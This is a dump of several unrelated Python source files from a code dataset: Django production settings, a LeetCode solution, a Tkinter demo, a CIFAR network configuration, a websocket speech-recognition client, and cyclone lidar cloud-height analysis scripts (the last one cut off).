regex.\nADMIN_URL = env(\"DJANGO_ADMIN_URL\")\n\n# Anymail\n# ------------------------------------------------------------------------------\n# https://anymail.readthedocs.io/en/stable/installation/#installing-anymail\n# INSTALLED_APPS += [\"anymail\"] # noqa: F405\n# https://docs.djangoproject.com/en/dev/ref/settings/#email-backend\n# https://anymail.readthedocs.io/en/stable/installation/#anymail-settings-reference\n# https://anymail.readthedocs.io/en/stable/esps/mailgun/\n# EMAIL_BACKEND = \"anymail.backends.mailgun.EmailBackend\"\n# ANYMAIL = {\n# \"MAILGUN_API_KEY\": env(\"MAILGUN_API_KEY\"),\n# \"MAILGUN_SENDER_DOMAIN\": env(\"MAILGUN_DOMAIN\"),\n# \"MAILGUN_API_URL\": env(\"MAILGUN_API_URL\", default=\"https://api.mailgun.net/v3\"),\n# }\n\n\n# LOGGING\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#logging\n# See https://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\nLOGGING = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"filters\": {\"require_debug_false\": {\"()\": \"django.utils.log.RequireDebugFalse\"}},\n \"formatters\": {\n \"verbose\": {\n \"format\": \"%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s\",\n },\n },\n \"handlers\": {\n \"mail_admins\": {\n \"level\": \"ERROR\",\n \"filters\": [\"require_debug_false\"],\n \"class\": \"django.utils.log.AdminEmailHandler\",\n },\n \"console\": {\n \"level\": \"DEBUG\",\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"verbose\",\n },\n },\n \"root\": {\"level\": \"INFO\", \"handlers\": [\"console\"]},\n \"loggers\": {\n \"django.request\": {\n \"handlers\": [\"mail_admins\"],\n \"level\": \"ERROR\",\n \"propagate\": True,\n },\n \"django.security.DisallowedHost\": {\n \"level\": \"ERROR\",\n \"handlers\": [\"console\", \"mail_admins\"],\n \"propagate\": True,\n },\n },\n}\n\n# django-rest-framework\n# -------------------------------------------------------------------------------\n# Tools that generate code samples can use SERVERS to point to the correct domain\nSPECTACULAR_SETTINGS[\"SERVERS\"] = [ # noqa: F405\n {\"url\": \"https://example.com\", \"description\": \"Production server\"},\n]\n# Your stuff...\n# ------------------------------------------------------------------------------\n","repo_name":"ivanprytula/hello-python-on-steroids","sub_path":"django_project/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35861803781","text":"class Solution:\n def findMaxAverage(self, nums: List[int], k: int) -> float:\n s = sum(nums[:k])\n a = s / k\n\n for i in range(k, len(nums)):\n s = s - nums[i - k] + nums[i]\n a = max(a, s / k)\n\n return a\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/0643_maximum_average_subarray_1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16952214812","text":"from tkinter import LEFT, RIGHT, Button, Label, Tk\n\n\"\"\"\n- no window size definition \n- Buttons are packed vertically\n- Root Window is an argument for each widget element \n- Setup of GUI elements is done in __init__()\n- pack() deafult is vertically unless side is LEFT or RIGHT\n\"\"\"\nclass MyFirstGUI:\n def __init__(self, master):\n self.master = master\n master.title(\"A simple GUI\")\n\n self.label = Label(master, text=\"This is our first GUI!\")\n self.label.pack()\n\n self.greet_button = Button(master, text=\"Greet\", command=self.greet)\n self.greet_button.pack(side=LEFT)\n\n # master.quit is built in function\n self.close_button = Button(master, text=\"Close\", command=master.quit)\n self.close_button.pack(side=RIGHT)\n\n def greet(self):\n print(\"Greetings!\")\n\nroot_window = Tk()\nmy_gui = MyFirstGUI(root_window)\nroot_window.mainloop()","repo_name":"neotechmonk/tkinter","sub_path":"1. basic.py","file_name":"1. basic.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28502907969","text":"from python_examples.classification import Classifier\nfrom python_examples.data_loader import ClassificationDataloader\nfrom pytagi import NetProp\n\nclass ConvCifarMLP(NetProp):\n \"\"\"Multi-layer perceptron for cifar classificaiton.\"\"\"\n\n def __init__(self) -> None:\n super().__init__()\n #------------------- #Input-----------------#Stage1-------------------------#Stage2-------------------------#Stage3-------------------------#Stage4-------------------------#Output---\n self.layers = \t [2, 2, 4, 2, 4, 2, 4, 2, 4, 2, 4, 1, 1]\n self.nodes = \t [3072, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 256, 11]\n self.kernels = \t [7, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 1]\n self.strides = \t [1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0]\n self.widths = \t [128, 128, 64, 64, 32, 32, 16, 16, 8, 8, 4, 1, 1]\n self.heights = \t [128, 128, 64, 64, 32, 32, 16, 16, 8, 8, 4, 1, 1]\n self.filters = [3, 32, 32, 32, 32, 64, 64, 128, 128, 256, 256, 1, 1]\n self.pads = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0]\n self.pad_types = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0]\n self.activations = [0, 4, 0, 4, 0, 4, 0, 4, 0, 4, 0, 4, 12]\n self.shortcuts = [-1, 3, -1, 6, -1, -1, -1, 7, -1, -1, -1, -1, -1]\n self.batch_size = 16\n self.sigma_v = 1\n self.sigma_v_min = 0.2\n self.decay_factor_sigma_v = 0.975\n self.is_idx_ud = True\n self.multithreading = True\n self.init_method: str = \"He\"\n self.device = \"cuda\"\n\ndef main():\n \"\"\"Training and testing API\"\"\"\n # User-input\n num_epochs = 1\n x_train_file = \"./data/cifar10/x_train.csv\"\n y_train_file = \"./data/cifar10/y_train.csv\"\n x_test_file = \"./data/cifar10/x_test.csv\"\n y_test_file = \"./data/cifar10/y_test.csv\"\n\n # Model\n net_prop = ConvCifarMLP()\n\n # Data loader\n reg_data_loader = ClassificationDataloader(batch_size=net_prop.batch_size)\n data_loader = reg_data_loader.process_data(x_train_file=x_train_file,\n y_train_file=y_train_file,\n x_test_file=x_test_file,\n y_test_file=y_test_file)\n\n # Train and test\n clas_task = Classifier(num_epochs=num_epochs,\n data_loader=data_loader,\n net_prop=net_prop,\n num_classes=10)\n clas_task.train()\n clas_task.predict()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"miquelflorensa/miquelflorensa.github.io","sub_path":"code/resnet_cifar10_classification_runner.py","file_name":"resnet_cifar10_classification_runner.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26878387380","text":"import argparse\nimport time\nimport threading\nimport sys\nimport urllib\nimport queue\nimport json\nimport time\nimport os\nimport wave\nimport pyaudio\nimport tempfile\n\nfrom ws4py.client.threadedclient import WebSocketClient\nfrom PyQt5.QtWidgets import QTableWidgetItem\nfrom PyQt5.QtCore import pyqtSignal as SIGNAL\nfrom slugify import slugify\n\n\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\n# RATE = 44100\n# CHUNK = 16000 # 100ms\n\n# audio = pyaudio.PyAudio()\n\n\ndef rate_limited(maxPerSecond):\n minInterval = 1.0 / float(maxPerSecond)\n\n def decorate(func):\n lastTimeCalled = [0.0]\n\n def rate_limited_function(*args, **kargs):\n elapsed = time.clock() - lastTimeCalled[0]\n leftToWait = minInterval - elapsed\n if leftToWait > 0:\n time.sleep(leftToWait)\n ret = func(*args, **kargs)\n lastTimeCalled[0] = time.clock()\n return ret\n return rate_limited_function\n return decorate\n\n\nclass MyClient(WebSocketClient):\n\n def __init__(self, mode, audiofile, url, wf, protocols=None, extensions=None, heartbeat_freq=None, byterate=32000,\n save_adaptation_state_filename=None, send_adaptation_state_filename=None, mic_id=1, rate=None, icon=None, customsignal=None, meeting_name=None, speaker_name=None, color=None):\n super(MyClient, self).__init__(\n url, protocols, extensions, heartbeat_freq)\n\n self.final_hyps = []\n self.byterate = byterate\n self.final_hyp_queue = queue.Queue()\n self.save_adaptation_state_filename = save_adaptation_state_filename\n self.send_adaptation_state_filename = send_adaptation_state_filename\n self.isStop = False\n self.audio = pyaudio.PyAudio()\n self.audiofile = audiofile\n self.mode = mode\n self.mic_id = mic_id\n self.rate = rate\n self.chunk = int((1/4) * self.byterate)\n self.icon = icon\n self.customsignal = customsignal\n self.meeting_name = meeting_name\n self.speaker_name = speaker_name\n self.color = color\n self.last_color = 'RED'\n self.wf = wf\n\n @rate_limited(4)\n def send_data(self, data):\n self.send(data, binary=True)\n\n def opened(self):\n def send_data_to_ws():\n if self.send_adaptation_state_filename is not None:\n print(\"Sending adaptation state from %s\" %\n self.send_adaptation_state_filename, file=sys.stderr)\n try:\n adaptation_state_props = json.load(\n open(self.send_adaptation_state_filename, \"r\"))\n self.send(json.dumps(\n dict(adaptation_state=adaptation_state_props)))\n except:\n e = sys.exc_info()[0]\n print(\"Failed to send adaptation state: \", e, file=sys.stderr)\n\n print(\"Start transcribing... \" + str(self.mic_id))\n if self.mode == 'stream':\n stream = self.audio.open(format=FORMAT, channels=CHANNELS,\n rate=self.rate, input=True,\n frames_per_buffer=self.chunk,\n input_device_index=self.mic_id,\n output=True,\n output_device_index=self.mic_id)\n while not self.isStop:\n data = stream.read(\n self.chunk, exception_on_overflow=False)\n try:\n self.send_data(data) # send data\n self.wf.writeframes(data)\n if self.last_color == 'RED':\n self.customsignal.update_treeitem_background.emit(\n None, self.color, self.mic_id)\n self.last_color = 'ORIGINAL'\n except AttributeError:\n self.customsignal.update_treeitem_background.emit(\n None, (255, 0, 0, 100), self.mic_id)\n self.customsignal.reconnect_websocket.emit(\n self.mic_id, 'AUTO')\n self.last_color = 'RED'\n self.customsignal.reconnect_counter.emit()\n\n stream.stop_stream()\n stream.close()\n self.audio.terminate()\n elif self.mode == 'file':\n with open(self.audiofile, 'rb') as audiostream:\n for block in iter(lambda: audiostream.read(int(self.byterate/4)), b\"\"):\n if self.isStop:\n break\n try:\n self.send_data(block)\n self.wf.writeframes(block)\n if self.last_color == 'RED':\n self.customsignal.update_treeitem_background.emit(\n None, self.color, self.mic_id)\n self.last_color = 'ORIGINAL'\n except AttributeError:\n self.customsignal.update_treeitem_background.emit(\n None, (255, 0, 0, 100), self.mic_id)\n self.customsignal.reconnect_websocket.emit(\n self.mic_id, 'AUTO')\n self.last_color = 'RED'\n self.customsignal.reconnect_counter.emit()\n\n print(\"Audio sent, now sending EOS: \" +\n str(self.mic_id), file=sys.stderr)\n try:\n self.send(\"EOS\")\n except AttributeError:\n pass\n\n t = threading.Thread(target=send_data_to_ws)\n t.start()\n\n def received_message(self, m):\n response = json.loads(str(m))\n if response['status'] == 0:\n if 'result' in response:\n trans = response['result']['hypotheses'][0]['transcript']\n if response['result']['final']:\n #print >> sys.stderr, trans,\n self.final_hyps.append(trans)\n if trans != '.' and trans != '.':\n segment_start = float(response['segment-start'])\n segment_end = response['segment-start'] + \\\n float(response['segment-length'])\n self.customsignal.add_message.emit(trans.replace(\"\\n\", \"\\\\n\"), str(\n self.mic_id), self.icon, self.color, segment_start, segment_end)\n\n print('\\rFinal: ' + str(self.mic_id) + '%s' %\n trans.replace(\"\\n\", \"\\\\n\"), file=sys.stderr)\n else:\n print_trans = trans.replace(\"\\n\", \"\\\\n\")\n if len(print_trans) > 80:\n print_trans = \"... %s\" % print_trans[-76:]\n if trans != '.' and trans != '.':\n self.customsignal.update_message.emit(trans.replace(\n \"\\n\", \"\\\\n\"), str(self.mic_id), self.icon, self.color)\n print('\\rNot Final: ' + str(self.mic_id) + '%s' %\n print_trans, file=sys.stderr)\n if 'adaptation_state' in response:\n if self.save_adaptation_state_filename:\n print(\"Saving adaptation state to %s\" %\n self.save_adaptation_state_filename, file=sys.stderr)\n with open(self.save_adaptation_state_filename, \"w+\") as f:\n f.write(json.dumps(response['adaptation_state']))\n else:\n print(\"Received error from server (status %d)\" %\n response['status'], file=sys.stderr)\n if 'message' in response:\n print(\"Error message:\", response['message'], file=sys.stderr)\n\n def get_full_hyp(self, timeout=60):\n return self.final_hyp_queue.get(timeout)\n\n def closed(self, code, reason=None):\n self.final_hyp_queue.put(\" \".join(self.final_hyps))\n","repo_name":"Anand-Nakhate/Async-ASR","sub_path":"async-asr-newWebSocket/utilities/asr_oldbackup.py","file_name":"asr_oldbackup.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44395632407","text":"import numpy as np\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport xarray as xr\r\nimport seaborn as sns # for making prettier pdfs\r\nimport warnings\r\n\r\nos.chdir( \"/Users/etmu9498/research/code/scripts\")\r\nimport make_plots_new_heights\r\nimport cloud_height\r\nimport tc_metadata\r\nimport helper_fns\r\n\r\n\r\ndef pdf_all_tc_eyes( tc='all', no_eyewalls=False):\r\n warnings.filterwarnings(\"ignore\")\r\n\r\n # put tcname into a list to make the for loop work correctly\r\n if tc == 'all':\r\n tcname_list = ['fred', 'grace', 'henri', 'ida', 'sam']\r\n else:\r\n tcname_list = [ tc]\r\n\r\n # look at a specific tc, or every tc!\r\n for tcname in tcname_list:\r\n # load data\r\n metadata = tc_metadata.all_data( tcname)\r\n if metadata == 'selected TC name is not yet implemented':\r\n print( metadata)\r\n return\r\n\r\n # print some helpful notices to the user\r\n print( \"\\nTC \" + metadata['tc_name'])\r\n print( 'Number of crl files: ' + str( len( metadata['xlims'] ))+ '\\n')\r\n\r\n # an empty list that will hold all the height datasets from within the eye\r\n all_heights = []\r\n\r\n # make a probability distribution function for every eye pass for this tc\r\n for dataset in range( len( metadata[ 'dates'] )):\r\n # load data from new sources\r\n tdr_name, new_crl_name = tc_metadata.choose_new_data( tcname, dataset)\r\n # new_tdr_path = metadata[ 'new_tdr_path']\r\n new_crl_path = metadata[ 'um_crl_path']\r\n\r\n # new code for eyewall vs no eyewall in situ distances!\r\n if no_eyewalls:\r\n eyewall_dists = metadata[ 'eyewall_dists_no_eyewalls'][ dataset]\r\n save_path = \"/Users/etmu9498/research/figures/prob-dist-results/pdfs-v1-no-eyewalls/\"\r\n else:\r\n save_path = \"/Users/etmu9498/research/figures/prob-dist-results/pdfs-v1-in-situ/\"\r\n eyewall_dists = metadata[ 'in_situ_eyewall_dists'][ dataset]\r\n\r\n shear_quad = metadata['shear_quads'][dataset]\r\n\r\n title = ( \"CRL Data, TC \" + metadata['tc_name'] + \", \"\r\n + metadata['dates'][ dataset] + \", Eye Pass \" + metadata['eye_pass'][ dataset] )\r\n\r\n # print out the current dataset for the user!\r\n print( \"TC \" + metadata['tc_name'] + \", \" + metadata['dates'][ dataset] + \", Eye Pass \" + metadata['eye_pass'][ dataset])\r\n\r\n H_dataset = pdf_one_tc_eye( new_crl_path, new_crl_name, eyewall_dists, title, shear_quad)\r\n\r\n os.chdir( save_path)\r\n plt.savefig( metadata['tc_name'].casefold() + \"-\" + str( dataset+1) + \".png\", bbox_inches='tight', dpi=300 )\r\n\r\n # save height values from this run\r\n all_heights = all_heights + np.ndarray.tolist( H_dataset)\r\n\r\n # return statistics for all cases averaged together!\r\n all_heights = np.array( all_heights)\r\n print( \"Number of data points: \" + str( len( all_heights)))\r\n print( \"Height value range: \" + str( all_heights.min()) + \" km to \" + str( all_heights.max()) + \" km\")\r\n print( \"Height value mean: \" + str( np.mean( all_heights)) + \" km\")\r\n print( \"Height value median: \" + str( np.median( all_heights)) + \" km\\n\")\r\n\r\n # make a histogram representing the total cloud layer for this tc!\r\n plt.figure( figsize=(8, 6), facecolor='w')\r\n sns.distplot( all_heights, bins=25, hist=True, vertical=True, color='y')\r\n\r\n plt.xlabel( 'Probability of a Given Height Occurence')\r\n plt.ylabel( 'Height from Surface (Km)')\r\n plt.title( \"Histogram of All Cloud Heights for TC \" + metadata['tc_name'])\r\n plt.ylim( [0, 3.8])\r\n plt.xlim( [0, 2])\r\n plt.grid('on')\r\n\r\n # save the histogram\r\n os.chdir( save_path)\r\n plt.savefig( metadata['tc_name'].casefold() + \"-total.png\", bbox_inches='tight', dpi=300 )\r\n\r\n return\r\n\r\n# use the new crl datasets; working with distance coordinates will be much easier!\r\ndef pdf_one_tc_eye( new_crl_path, new_crl_name, eyewall_dists, title, shear_quad):\r\n\r\n # load data\r\n os.chdir( new_crl_path)\r\n crl_data = xr.open_dataset( new_crl_name)\r\n xaxis_data = crl_data.in_situ_distance.values\r\n\r\n # find the indices and values in the crl distance dataset closest to the eyewall_dists limits\r\n i1, x1 = helper_fns.closest_val( xaxis_data, eyewall_dists[ 0])\r\n i2, x2 = helper_fns.closest_val( xaxis_data, eyewall_dists[ 1])\r\n\r\n # print( \"i1 and x1: \" + str( i1) + \" \" + str(x1))\r\n # print( \"i2 and x2: \" + str( i2) + \" \" + str(x2))\r\n\r\n # print( 'i1 and x1: ' + str( i1) + ' ' + str( x1))\r\n # print( 'i2 and x2: ' + str( i2) + ' ' + str( x2))\r\n\r\n # find cloud top heights for values within the specified eye distance range\r\n H, xaxis_value = cloud_height.find_cloud_heights(new_crl_name, -30, i1, i2, xaxis ='in-situ-dist', crl_path=new_crl_path, new_heights=True)\r\n\r\n # plot the crl backscattered power figure for helpful testing\r\n # plt.figure( figsize=(18, 5))\r\n fig, (a0, a1, a2) = plt.subplots(3, 1, gridspec_kw={'height_ratios': [1, 2, .75]}, figsize=(12, 18), facecolor='w')\r\n helper_fns.change_font_sizes(small=14, medium=16 )\r\n\r\n plt.sca( a0)\r\n make_plots_new_heights.plot_power_ch1( new_crl_path, new_crl_name, 'in-situ-dist')\r\n a0.scatter( xaxis_value, H, c= 'r', s=11, marker='s')\r\n a0.plot( xaxis_value, H, c= 'r', linewidth=2, label= 'Cloud Top Height')\r\n\r\n a0.set_xlabel( 'Distance from TC Center ( Km)')\r\n a0.set_xlim( eyewall_dists)\r\n a0.legend(loc='lower left')\r\n a0.set_title( title)\r\n a0.set_ylim( [ 0, 3.8])\r\n\r\n # add shear info as text!\r\n\r\n label0 = '0'\r\n label1 = '1'\r\n\r\n if shear_quad[0] == 'UL':\r\n label0 = 'Upshear Left'\r\n elif shear_quad[0] == 'UR':\r\n label0 = 'Upshear Right'\r\n elif shear_quad[0] == 'DL':\r\n label0 = 'Downshear Left'\r\n elif shear_quad[0] == 'DR':\r\n label0 = 'Downshear Right'\r\n\r\n if shear_quad[1] == 'UL':\r\n label1 = 'Upshear Left'\r\n elif shear_quad[1] == 'UR':\r\n label1 = 'Upshear Right'\r\n elif shear_quad[1] == 'DL':\r\n label1 = 'Downshear Left'\r\n elif shear_quad[1] == 'DR':\r\n label1 = 'Downshear Right'\r\n\r\n # only add first label if axis contains negative values ( to the left of 0 km)\r\n if eyewall_dists[0] < 0: # 3.25\r\n a0.text( .025, .9, label0, color='k', fontsize=12,\r\n bbox={'facecolor': 'w', 'alpha': 0.85, 'pad': 10},\r\n verticalalignment='bottom', horizontalalignment='left',\r\n transform=a0.transAxes)\r\n\r\n a0.text( .975, .9, label1, color='k', fontsize=12,\r\n bbox={'facecolor': 'w', 'alpha': 0.85, 'pad': 10},\r\n verticalalignment='bottom', horizontalalignment='right',\r\n transform=a0.transAxes)\r\n\r\n\r\n # view simple histogram of cloud top heights!\r\n nbins = 25 # number of bins\r\n\r\n # plt.hist( H, nbins, density=True, facecolor='c', histtype = 'bar') # 'bar', 'barstacked', 'step', 'stepfilled'\r\n\r\n plt.sca( a1)\r\n sns.distplot( H, bins=nbins, hist=True, vertical=True, color='y', norm_hist=False)\r\n\r\n # print( H)\r\n\r\n # plt.axvline( x=H.mean(), c='g', label=\"Mean height value\", linewidth=3)\r\n\r\n a1.set_xlabel( 'Probability of a Given Height Occurence')\r\n a1.set_ylabel( 'Height from Surface (Km)')\r\n # plt.title( \"TC Sam, 09/26/22, Eye 1, Cloud Top Height Histogram\")\r\n a1.set_ylim( [-0.2, 3.8])\r\n a1.set_xlim( [0, 2])\r\n a1.grid(True)\r\n\r\n # a clear surface is considered when the \"clouds\" are 50m tall or less- this could\r\n # just be p-3 flight errors or aerosols or tall waves?\r\n if len( H) > 0:\r\n cloud_frac = ( len( np.where( H < .05 )[0]) / len( H) )\r\n cloud_percent = cloud_frac * 100\r\n\r\n # save some basic stats from the height dataset to image!\r\n a2.text( 0, .95, (\"Number of data points: \" + str( i2 - i1)))\r\n a2.text( 0, .8, (\"Number of clear air data points: \" + str( len( np.where( H < .05 )[0]) )))\r\n a2.text( 0, .6, (\"Height value range: \" + str( H.min()) + \" km to \" + str( H.max()) + \" km\"))\r\n a2.text( 0, .4, (\"Height value mean: \" + str( H.mean()) + \" km\"))\r\n a2.text( 0, .2, (\"Height value median: \" + str( np.median( H)) + \" km\\n\"))\r\n a2.text( 0, .1, (\"Clear air percentage: \" + str( cloud_percent) + \" %\"))\r\n a2.set_axis_off()\r\n else:\r\n a2.text( 0, .95, \"Error when calculating cloud heights :(\")\r\n\r\n\r\n return H\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef number_of_layers( tc='all'):\r\n warnings.filterwarnings(\"ignore\")\r\n\r\n # put tcname into a list to make the for loop work correctly\r\n if tc == 'all':\r\n tcname_list = ['grace', 'henri', 'ida', 'sam']\r\n else:\r\n tcname_list = [ tc]\r\n\r\n # look at a specific tc, or every tc!\r\n for tcname in tcname_list:\r\n # load data\r\n metadata = tc_metadata.all_data( tcname)\r\n if metadata == 'selected TC name is not yet implemented':\r\n print( metadata)\r\n return\r\n\r\n # print some helpful notices to the user\r\n print( \"\\nTC \" + metadata['tc_name'])\r\n print( 'Number of crl files: ' + str( len( metadata['xlims'] ))+ '\\n')\r\n\r\n # an empty list that will hold all the height datasets from within the eye\r\n # all_heights = []\r\n\r\n # make a probability distribution function for every eye pass for this tc\r\n for dataset in range( len( metadata[ 'dates'] )):\r\n # load data from new sources\r\n tdr_name, new_crl_name = tc_metadata.choose_new_data( tcname, dataset)\r\n # new_tdr_path = metadata[ 'new_tdr_path']\r\n new_crl_path = metadata[ 'um_crl_path']\r\n\r\n # new code for in situ eyewall distances!\r\n eyewall_dists = metadata[ 'in_situ_eyewall_dists'][ dataset]\r\n\r\n title = ( \"CRL Data, TC \" + metadata['tc_name'] + \", \"\r\n + metadata['dates'][ dataset] + \", Eye Pass \" + metadata['eye_pass'][ dataset] )\r\n\r\n # print out the current dataset for the user!\r\n print( \"TC \" + metadata['tc_name'] + \", \" + metadata['dates'][ dataset] + \", Eye Pass \" + metadata['eye_pass'][ dataset])\r\n\r\n H_dataset = number_of_layers_one_eye( new_crl_path, new_crl_name, eyewall_dists, title)\r\n\r\n os.chdir( \"/Users/etmu9498/research/figures/pdfs-number-of-layers/\")\r\n plt.savefig( metadata['tc_name'].casefold() + \"-\" + str( dataset+1) + \".png\", bbox_inches='tight', dpi=300 )\r\n\r\n '''\r\n # save height values from this run\r\n all_heights = all_heights + np.ndarray.tolist( H_dataset)\r\n\r\n # return statistics for all cases averaged together!\r\n all_heights = np.array( all_heights)\r\n print( \"Number of data points: \" + str( len( all_heights)))\r\n print( \"Height value range: \" + str( all_heights.min()) + \" km to \" + str( all_heights.max()) + \" km\")\r\n print( \"Height value mean: \" + str( np.mean( all_heights)) + \" km\")\r\n print( \"Height value median: \" + str( np.median( all_heights)) + \" km\\n\")\r\n\r\n # make a histogram representing the total cloud layer for this tc!\r\n plt.figure( figsize=(8, 6), facecolor='w')\r\n sns.distplot( all_heights, bins=25, hist=True, vertical=True, color='y')\r\n\r\n plt.xlabel( 'Probability of a Given Height Occurence')\r\n plt.ylabel( 'Height from Surface (Km)')\r\n plt.title( \"Histogram of All Cloud Heights for TC \" + metadata['tc_name'])\r\n plt.ylim( [0, 3.8])\r\n plt.xlim( [0, 2])\r\n plt.grid('on')\r\n\r\n # save the histogram\r\n os.chdir( \"/Users/etmu9498/research/figures/pdfs-v1-in-situ/\")\r\n plt.savefig( metadata['tc_name'].casefold() + \"-total.png\", bbox_inches='tight', dpi=300 )\r\n '''\r\n return\r\n\r\n# use the new crl datasets; working with distance coordinates will be much easier!\r\ndef number_of_layers_one_eye( new_crl_path, new_crl_name, eyewall_dists, title):\r\n\r\n # load data\r\n os.chdir( new_crl_path)\r\n crl_data = xr.open_dataset( new_crl_name)\r\n xaxis_data = crl_data.in_situ_distance.values\r\n\r\n # find the indices and values in the crl distance dataset closest to the eyewall_dists limits\r\n i1, x1 = helper_fns.closest_val( xaxis_data, eyewall_dists[ 0])\r\n i2, x2 = helper_fns.closest_val( xaxis_data, eyewall_dists[ 1])\r\n\r\n # find cloud top heights and layer counts for values within the specified eye distance range\r\n H, xaxis_value, cloud_counts = cloud_height.find_multi_cloud_heights(new_crl_name, -30, i1, i2, xaxis ='in-situ-dist', crl_path=new_crl_path)\r\n\r\n layers = range( len( cloud_counts))\r\n print( \"Number of cloud layers: \" + str( layers))\r\n print( \"Count: \" + str( cloud_counts))\r\n\r\n # plot the crl backscattered power figure for helpful testing\r\n fig, (a0, a1) = plt.subplots(2, 1, gridspec_kw={'height_ratios': [1, 2]}, figsize=(12, 12), facecolor='w')\r\n helper_fns.change_font_sizes(small=14, medium=16 )\r\n plt.sca( a0)\r\n make_plots_new_heights.plot_power_ch1( new_crl_path, new_crl_name, 'in-situ-dist')\r\n\r\n # trying to make hollow markers but this won't work for some reason??!\r\n a0.scatter( xaxis_value, H, c= 'r', s=15) # fillstyle='none') # facecolors='none', edgecolors='r') # marker='s')\r\n # a0.plot( xaxis_value, H, markerfacecolor='none', ms=15, markeredgecolor='red')\r\n\r\n a0.set_xlabel( 'Distance from TC Center ( Km)')\r\n a0.set_xlim( eyewall_dists)\r\n a0.legend(loc='lower left')\r\n a0.set_title( title)\r\n a0.set_ylim( [ 0, 3.2])\r\n\r\n # view simple histogram of cloud top layer counts!\r\n # nbins = 10 # number of bins\r\n plt.sca( a1)\r\n # sns.histplot( data=np.array(cloud_counts), x=np.array(layers), binwidth=1, color='c', stat='count') # bins=nbins\r\n # sns.barplot( x=layers, y=cloud_counts, color='c') # binwidth=1, , stat='count') # bins=nbins\r\n # plt.axvline( x=H.mean(), c='g', label=\"Mean height value\", linewidth=3)\r\n plt.bar( x=layers, height=cloud_counts, color='c')\r\n\r\n a1.set_xlabel( 'Number of cloud layers')\r\n a1.set_ylabel( 'Count')\r\n # a1.set_yscale( 'log')\r\n a1.grid(True)\r\n\r\n return H\r\n\r\n\r\n\r\n\r\n\r\n# this function finds statistics on cloud heights depending on the tc intensity!\r\n# it outputs figures summarizing these values for each intensity category\r\ndef cloud_height_vs_intensity( csu_poster_case=False, no_eyewalls=False):\r\n warnings.filterwarnings(\"ignore\")\r\n\r\n # empty lists that will hold all the height datasets for each intensity category\r\n td_heights, td_cases = [], 0\r\n ts_heights, ts_cases = [], 0\r\n wh_heights, wh_cases = [], 0\r\n sh_heights, sh_cases = [], 0\r\n # cycle through every dataset\r\n tcname_list = [ 'fred', 'grace', 'henri', 'ida', 'sam']\r\n for tcname in tcname_list:\r\n # load data\r\n metadata = tc_metadata.all_data( tcname)\r\n if metadata == 'selected TC name is not yet implemented':\r\n print( metadata)\r\n return\r\n # print some helpful notices to the user\r\n print( \"\\nTC \" + metadata['tc_name'])\r\n print( 'Number of crl files: ' + str( len( metadata['xlims'] ))+ '\\n')\r\n\r\n # get cloud top height information for every eye pass for this tc\r\n for dataset in range( len( metadata[ 'dates'] )):\r\n # print out the current dataset for the user\r\n print( \"TC \" + metadata['tc_name'] + \", \" + metadata['dates'][ dataset] + \", Eye Pass \" + metadata['eye_pass'][ dataset])\r\n\r\n # setup\r\n # load data from new sources\r\n\r\n # use clipped data for 4 ind cases\r\n # normal case\r\n # if metadata['crl_range'][dataset] == 2:\r\n tdr_name, new_crl_name = tc_metadata.choose_new_data( tcname, dataset)\r\n new_crl_path = metadata[ 'um_crl_path']\r\n # elif metadata['crl_range'][dataset] == 4:\r\n # new_crl_path = metadata[ 'um_crl_path']\r\n\r\n\r\n # new code for eyewall vs no eyewall in situ distances!\r\n if no_eyewalls:\r\n eyewall_dists = metadata[ 'eyewall_dists_no_eyewalls'][ dataset]\r\n else:\r\n eyewall_dists = metadata[ 'in_situ_eyewall_dists'][ dataset]\r\n\r\n title = ( \"CRL Data, TC \" + metadata['tc_name'] + \", \"\r\n + metadata['dates'][ dataset] + \", Eye Pass \" + metadata['eye_pass'][ dataset] )\r\n\r\n # This bit of code is from the pdf_one_tc_eye() function\r\n os.chdir( new_crl_path)\r\n crl_data = xr.open_dataset( new_crl_name)\r\n xaxis_data = crl_data.in_situ_distance.values\r\n i1, x1 = helper_fns.closest_val( xaxis_data, eyewall_dists[ 0])\r\n i2, x2 = helper_fns.closest_val( xaxis_data, eyewall_dists[ 1])\r\n\r\n # find cloud top heights for values within the specified eye distance range\r\n H, xaxis_value = cloud_height.find_cloud_heights(new_crl_name, -30, i1, i2, xaxis ='in-situ-dist', crl_path=new_crl_path, new_heights=True)\r\n\r\n\r\n # save height values from this run\r\n cat = metadata['intensity_cat'][dataset] # tc intensity category\r\n # figure out where to put the height data depending on the tc intensity!\r\n if cat == 'td':\r\n td_heights += np.ndarray.tolist( H)\r\n # print( 'td')\r\n td_cases += 1\r\n elif cat == 'ts':\r\n # print( 'ts')\r\n ts_heights += np.ndarray.tolist( H)\r\n ts_cases += 1\r\n elif cat == 'wh':\r\n # print( 'wh')\r\n wh_heights += np.ndarray.tolist( H)\r\n wh_cases += 1\r\n elif cat == 'sh':\r\n # print( 